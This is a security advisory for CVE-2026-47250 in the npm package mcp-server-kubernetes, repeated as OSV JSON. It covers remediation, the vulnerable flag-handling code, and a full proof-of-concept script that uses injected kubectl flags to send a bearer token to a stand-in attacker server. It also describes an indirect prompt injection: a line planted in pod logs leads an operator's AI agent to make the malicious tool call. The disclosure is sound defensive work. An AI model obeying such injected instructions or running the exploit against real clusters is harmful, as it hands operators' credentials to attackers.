CVE-2026-47250: MCP Server Kubernetes Kubectl-generic Flag Injection Enables Kubernetes Vulnerability

MODERATE
Advisory Identifier: GHSA-6mx4-4h42-r8vh
CVSS 6.1
CWE-88
Published
Advisory Summary

CVE-2026-47250 is a MODERATE (CVSS 6.1) kubectl-generic flag injection enables kubernetes vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting MCP Server Kubernetes libraries in the npm ecosystem. The issue involves kubectl-generic flag injection enables kubernetes bearer token exfiltration. Remediation is available by upgrading affected packages to version 3.7.0.

CVE-2026-47250 at a Glance

CVE Identifier CVE-2026-47250
GHSA Identifier GHSA-6mx4-4h42-r8vh
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product MCP Server Kubernetes
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-47250

To remediate this vulnerability, upgrade all affected MCP Server Kubernetes dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-server-kubernetes fixed: 3.7.0
npm install mcp-server-kubernetes@3.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mcp-server-kubernetes

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-47250, inspect your project dependencies using npm:

npm ls mcp-server-kubernetes

Analyze the terminal output to locate any version of MCP Server Kubernetes in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.7.0), your application is affected.

Note: The npm ls mcp-server-kubernetes command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In MCP Server Kubernetes, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `kubectl_generic` tool in `mcp-server-kubernetes` passes user-supplied flags directly to kubectl without any allowlist, enabling a **privilege escalation attack** within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, `kubectl_generic` is called with `--server=https://attacker.example.com` and `--insecure-skip-tls-verify=true`. kubectl sends all API requests, including the `Authorization: Bearer <token>` header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent. ### Details ### Vulnerable code `src/tools/kubectl-generic.ts`, lines 103–118: ```typescript if (input.flags) { for (const [key, value] of Object.entries(input.flags)) { if (value === true) { cmdArgs.push(`--${key}`); } else if (value !== false && value !== null && value !== undefined) { cmdArgs.push(`--${key}=${value}`); // ← no allowlist; any kubectl flag accepted } } } if (input.args && input.args.length > 0) { cmdArgs.push(...input.args); // ← also unconstrained } ``` Both the `flags` object and the `args` array are passed verbatim to `execFileSync("kubectl", cmdArgs)`. ### Why two flags are needed kubectl deliberately suppresses `Authorization: Bearer` headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together: | Flag | Purpose | |------|---------| | `--server=https://attacker.com` | Redirects kubectl API calls to attacker's endpoint | | `--insecure-skip-tls-verify=true` | Allows attacker's self-signed cert; triggers credential sending | Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible. ### PoC ### Step 1 - Static verification ```bash # Confirm the flag loop has no allowlist: grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts ``` Expected output shows `cmdArgs.push(--${key}=${value})` with no allowlist check. ### Step 2 - kubectl behaviour test (confirms HTTPS required) ```bash # Start a minimal HTTPS listener with a self-signed cert: openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \ -subj "/CN=test" -days 1 2>/dev/null python3 - <<'EOF' import ssl, threading, json from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): print(f"Authorization: {self.headers.get('authorization','<none>')}") self.send_response(401); self.end_headers() srv = HTTPServer(("127.0.0.1", 19001), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem") srv.socket = ctx.wrap_socket(srv.socket, server_side=True) t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start() import subprocess, time; time.sleep(0.3) subprocess.run([ "kubectl", "get", "pods", "--server=https://127.0.0.1:19001", "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE", "--insecure-skip-tls-verify=true" ], capture_output=True) time.sleep(0.3) EOF ``` Expected output: ``` Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE ``` This confirms: kubectl sends the bearer token to any HTTPS endpoint when both flags are present. ### Step 3 - Token exfiltration via MCP tool call **Prerequisites:** Node.js 18+, Python 3.10+, `openssl` in PATH. ```bash git clone https://github.com/Flux159/mcp-server-kubernetes cd mcp-server-kubernetes npm install && npm run build ``` Copy and run the following self-contained script from inside the repository: ```python #!/usr/bin/env python3 """ PoC: kubectl_generic flag injection → bearer token exfiltration. Run from inside the mcp-server-kubernetes repository after `npm run build`. """ import json, os, ssl, subprocess, sys, tempfile, threading, time from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer KNOWN_TOKEN = "EXFIL-CONFIRM-THIS-TOKEN-12345" ATTACKER_PORT = 19001 captured = [] # ── Attacker HTTPS server ─────────────────────────────────────────── class Attacker(BaseHTTPRequestHandler): def log_message(self, *_): pass def _handle(self): auth = self.headers.get("authorization", "") if auth: captured.append(auth); print(f" CAPTURED: {auth}", flush=True) body = b'{"code":401}'; self.send_response(401) self.send_header("Content-Length", str(len(body))); self.end_headers() self.wfile.write(body) def do_GET(self): self._handle() def do_POST(self): self._handle() tmpdir = tempfile.mkdtemp() cert, key = f"{tmpdir}/c.pem", f"{tmpdir}/k.pem" subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes", "-keyout",key,"-out",cert,"-subj","/CN=attacker","-days","1"], capture_output=True, check=True) srv = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), Attacker) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key) srv.socket = ctx.wrap_socket(srv.socket, server_side=True) threading.Thread(target=srv.serve_forever, daemon=True).start() # ── Fake kubeconfig with known token ────────────────────────────── kubeconfig = f"""apiVersion: v1 kind: Config clusters: - cluster: server: https://fake-cluster.internal:6443 insecure-skip-tls-verify: true name: poc contexts: - context: cluster: poc user: poc-user name: poc current-context: poc users: - name: poc-user user: token: {KNOWN_TOKEN} """ # ── Start mcp-server-kubernetes ──────────────────────────────────── proc = subprocess.Popen( ["node", "dist/index.js"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env={**os.environ, "KUBECONFIG_YAML": kubeconfig} ) time.sleep(2) if proc.poll() is not None: print("Server failed to start:", proc.stderr.read().decode()[:300]); sys.exit(1) def send(msg): proc.stdin.write((json.dumps(msg)+"\n").encode()); proc.stdin.flush() def recv(timeout=15): import time as _t; deadline = _t.time()+timeout while _t.time() < deadline: line = proc.stdout.readline() if line: try: return json.loads(line) except: pass time.sleep(0.05) # MCP handshake send({"jsonrpc":"2.0","id":1,"method":"initialize", "params":{"protocolVersion":"2024-11-05","capabilities":{}, "clientInfo":{"name":"poc","version":"0"}}}) recv() send({"jsonrpc":"2.0","method":"notifications/initialized","params":{}}) time.sleep(0.3) # ── THE ATTACK CALL ──────────────────────────────────────────────── print(f"\nCalling kubectl_generic with --server=https://127.0.0.1:{ATTACKER_PORT}") print("kubectl will send Authorization: Bearer to the attacker HTTPS server\n") send({"jsonrpc":"2.0","id":2,"method":"tools/call", "params":{"name":"kubectl_generic", "arguments":{"command":"get","resourceType":"pods", "flags":{"server":f"https://127.0.0.1:{ATTACKER_PORT}", "insecure-skip-tls-verify":"true"}}}}) recv(timeout=20) time.sleep(1) proc.terminate(); srv.shutdown() # ── Result ───────────────────────────────────────────────────────── print() if any(KNOWN_TOKEN in c for c in captured): print("PASSED: bearer token exfiltrated via kubectl_generic flag injection") print(f" Injected token: {KNOWN_TOKEN}") print(f" Captured: {captured[0]}") else: print("NOT CONFIRMED - see output above") sys.exit(1) ``` Expected output: ``` Calling kubectl_generic with --server=https://127.0.0.1:19001 kubectl will send Authorization: Bearer to the attacker HTTPS server CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345 PASSED: bearer token exfiltrated via kubectl_generic flag injection Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345 Captured: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345 ``` ### Impact **What an attacker achieves:** Privilege escalation within an environment where the attacker already has limited cluster or codebase access. The Kubernetes bearer token from the operator's kubeconfig is delivered to the attacker's HTTPS server on the first kubectl API discovery request. The token grants whatever RBAC the service account holds, in a typical cluster management deployment, this is broadly scoped. The attacker replays the captured token directly against the real Kubernetes API, independent of the MCP server.

CVE-2026-47250 Affected MCP Server Kubernetes Versions

1 component(s)
Fixed Versions:
3.7.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-server-kubernetes
npm
< 3.7.0
3.7.0

References

Frequently Asked Questions

What is CVE-2026-47250?
CVE-2026-47250 is a security vulnerability in MCP Server Kubernetes involving kubectl-generic flag injection enables Kubernetes bearer token exfiltration under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which MCP Server Kubernetes versions are affected?
Affected versions include releases prior to 3.7.0 across affected packages: mcp-server-kubernetes.
What version fixes CVE-2026-47250?
Upgrading to 3.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-server-kubernetes affected?
Yes, mcp-server-kubernetes is affected in releases prior to 3.7.0. Upgrade your dependency to 3.7.0 or later.
What is the CVSS score of CVE-2026-47250?
CVE-2026-47250 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-47250?
CVE-2026-47250 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check npm dependencies for CVE-2026-47250?
Run the dependency tree command: 'npm ls mcp-server-kubernetes'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6mx4-4h42-r8vh",
  "modified" : "2026-06-12T19:26:37Z",
  "published" : "2026-06-05T15:40:00Z",
  "aliases" : [ "CVE-2026-47250" ],
  "summary" : "MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration",
  "details" : "### Summary\nThe `kubectl_generic` tool in `mcp-server-kubernetes` passes user-supplied flags directly to kubectl without any allowlist, enabling a **privilege escalation attack** within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, `kubectl_generic` is called with `--server=https://attacker.example.com` and `--insecure-skip-tls-verify=true`. kubectl sends all API requests,  including the `Authorization: Bearer <token>` header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account.\n\nThe token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.\n\n\n### Details\n### Vulnerable code\n\n`src/tools/kubectl-generic.ts`, lines 103–118:\n\n```typescript\nif (input.flags) {\n  for (const [key, value] of Object.entries(input.flags)) {\n    if (value === true) {\n      cmdArgs.push(`--${key}`);\n    } else if (value !== false && value !== null && value !== undefined) {\n      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted\n    }\n  }\n}\n\nif (input.args && input.args.length > 0) {\n  cmdArgs.push(...input.args);             // ← also unconstrained\n}\n```\n\nBoth the `flags` object and the `args` array are passed verbatim to `execFileSync(\"kubectl\", cmdArgs)`.\n\n### Why two flags are needed\n\nkubectl deliberately suppresses `Authorization: Bearer` headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together:\n\n| Flag | Purpose |\n|------|---------|\n| `--server=https://attacker.com` | Redirects kubectl API calls to attacker's endpoint |\n| `--insecure-skip-tls-verify=true` | Allows attacker's self-signed cert; triggers credential sending |\n\nBoth are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible.\n\n### PoC\n### Step 1 - Static verification\n\n```bash\n# Confirm the flag loop has no allowlist:\ngrep -A 8 \"for.*Object.entries.*flags\" src/tools/kubectl-generic.ts\n```\n\nExpected output shows `cmdArgs.push(--${key}=${value})` with no allowlist check.\n\n### Step 2 - kubectl behaviour test (confirms HTTPS required)\n\n```bash\n# Start a minimal HTTPS listener with a self-signed cert:\nopenssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \\\n  -subj \"/CN=test\" -days 1 2>/dev/null\n\npython3 - <<'EOF'\nimport ssl, threading, json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        print(f\"Authorization: {self.headers.get('authorization','<none>')}\")\n        self.send_response(401); self.end_headers()\n\nsrv = HTTPServer((\"127.0.0.1\", 19001), H)\nctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\nctx.load_cert_chain(\"/tmp/c.pem\", \"/tmp/k.pem\")\nsrv.socket = ctx.wrap_socket(srv.socket, server_side=True)\nt = __import__(\"threading\").Thread(target=srv.serve_forever, daemon=True); t.start()\n\nimport subprocess, time; time.sleep(0.3)\nsubprocess.run([\n    \"kubectl\", \"get\", \"pods\",\n    \"--server=https://127.0.0.1:19001\",\n    \"--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE\",\n    \"--insecure-skip-tls-verify=true\"\n], capture_output=True)\ntime.sleep(0.3)\nEOF\n```\n\nExpected output:\n```\nAuthorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE\n```\n\nThis confirms: kubectl sends the bearer token to any HTTPS endpoint when both flags are present.\n\n### Step 3 - Token exfiltration via MCP tool call\n\n**Prerequisites:** Node.js 18+, Python 3.10+, `openssl` in PATH.\n\n```bash\ngit clone https://github.com/Flux159/mcp-server-kubernetes\ncd mcp-server-kubernetes\nnpm install && npm run build\n```\n\nCopy and run the following self-contained script from inside the repository:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: kubectl_generic flag injection → bearer token exfiltration.\nRun from inside the mcp-server-kubernetes repository after `npm run build`.\n\"\"\"\nimport json, os, ssl, subprocess, sys, tempfile, threading, time\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nKNOWN_TOKEN  = \"EXFIL-CONFIRM-THIS-TOKEN-12345\"\nATTACKER_PORT = 19001\ncaptured = []\n\n# ── Attacker HTTPS server ───────────────────────────────────────────\nclass Attacker(BaseHTTPRequestHandler):\n    def log_message(self, *_): pass\n    def _handle(self):\n        auth = self.headers.get(\"authorization\", \"\")\n        if auth: captured.append(auth); print(f\"  CAPTURED: {auth}\", flush=True)\n        body = b'{\"code\":401}'; self.send_response(401)\n        self.send_header(\"Content-Length\", str(len(body))); self.end_headers()\n        self.wfile.write(body)\n    def do_GET(self): self._handle()\n    def do_POST(self): self._handle()\n\ntmpdir = tempfile.mkdtemp()\ncert, key = f\"{tmpdir}/c.pem\", f\"{tmpdir}/k.pem\"\nsubprocess.run([\"openssl\",\"req\",\"-x509\",\"-newkey\",\"rsa:2048\",\"-nodes\",\n    \"-keyout\",key,\"-out\",cert,\"-subj\",\"/CN=attacker\",\"-days\",\"1\"],\n    capture_output=True, check=True)\nsrv = ThreadingHTTPServer((\"127.0.0.1\", ATTACKER_PORT), Attacker)\nctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key)\nsrv.socket = ctx.wrap_socket(srv.socket, server_side=True)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# ── Fake kubeconfig with known token ──────────────────────────────\nkubeconfig = f\"\"\"apiVersion: v1\nkind: Config\nclusters:\n- cluster:\n    server: https://fake-cluster.internal:6443\n    insecure-skip-tls-verify: true\n  name: poc\ncontexts:\n- context:\n    cluster: poc\n    user: poc-user\n  name: poc\ncurrent-context: poc\nusers:\n- name: poc-user\n  user:\n    token: {KNOWN_TOKEN}\n\"\"\"\n\n# ── Start mcp-server-kubernetes ────────────────────────────────────\nproc = subprocess.Popen(\n    [\"node\", \"dist/index.js\"],\n    stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n    env={**os.environ, \"KUBECONFIG_YAML\": kubeconfig}\n)\ntime.sleep(2)\nif proc.poll() is not None:\n    print(\"Server failed to start:\", proc.stderr.read().decode()[:300]); sys.exit(1)\n\ndef send(msg):\n    proc.stdin.write((json.dumps(msg)+\"\\n\").encode()); proc.stdin.flush()\n\ndef recv(timeout=15):\n    import time as _t; deadline = _t.time()+timeout\n    while _t.time() < deadline:\n        line = proc.stdout.readline()\n        if line:\n            try: return json.loads(line)\n            except: pass\n        time.sleep(0.05)\n\n# MCP handshake\nsend({\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\n      \"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\n                \"clientInfo\":{\"name\":\"poc\",\"version\":\"0\"}}})\nrecv()\nsend({\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}})\ntime.sleep(0.3)\n\n# ── THE ATTACK CALL ────────────────────────────────────────────────\nprint(f\"\\nCalling kubectl_generic with --server=https://127.0.0.1:{ATTACKER_PORT}\")\nprint(\"kubectl will send Authorization: Bearer to the attacker HTTPS server\\n\")\n\nsend({\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\n      \"params\":{\"name\":\"kubectl_generic\",\n                \"arguments\":{\"command\":\"get\",\"resourceType\":\"pods\",\n                             \"flags\":{\"server\":f\"https://127.0.0.1:{ATTACKER_PORT}\",\n                                      \"insecure-skip-tls-verify\":\"true\"}}}})\nrecv(timeout=20)\ntime.sleep(1)\nproc.terminate(); srv.shutdown()\n\n# ── Result ─────────────────────────────────────────────────────────\nprint()\nif any(KNOWN_TOKEN in c for c in captured):\n    print(\"PASSED: bearer token exfiltrated via kubectl_generic flag injection\")\n    print(f\"  Injected token: {KNOWN_TOKEN}\")\n    print(f\"  Captured:       {captured[0]}\")\nelse:\n    print(\"NOT CONFIRMED - see output above\")\n    sys.exit(1)\n```\n\nExpected output:\n```\nCalling kubectl_generic with --server=https://127.0.0.1:19001\nkubectl will send Authorization: Bearer to the attacker HTTPS server\n\n  CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345\n\nPASSED: bearer token exfiltrated via kubectl_generic flag injection\n  Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345\n  Captured:       Bearer EXFIL-CONFIRM-THIS-TOKEN-12345\n```\n\n### Impact\n**What an attacker achieves:** Privilege escalation within an environment where the attacker already has limited cluster or codebase access. The Kubernetes bearer token from the operator's kubeconfig is delivered to the attacker's HTTPS server on the first kubectl API discovery request. The token grants whatever RBAC the service account holds, in a typical cluster management deployment, this is broadly scoped. The attacker replays the captured token directly against the real Kubernetes API, independent of the MCP server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mcp-server-kubernetes"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Flux159/mcp-server-kubernetes/security/advisories/GHSA-6mx4-4h42-r8vh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47250"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Flux159/mcp-server-kubernetes"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-05T15:40:00Z",
    "nvd_published_at" : "2026-06-11T19:16:46Z"
  }
}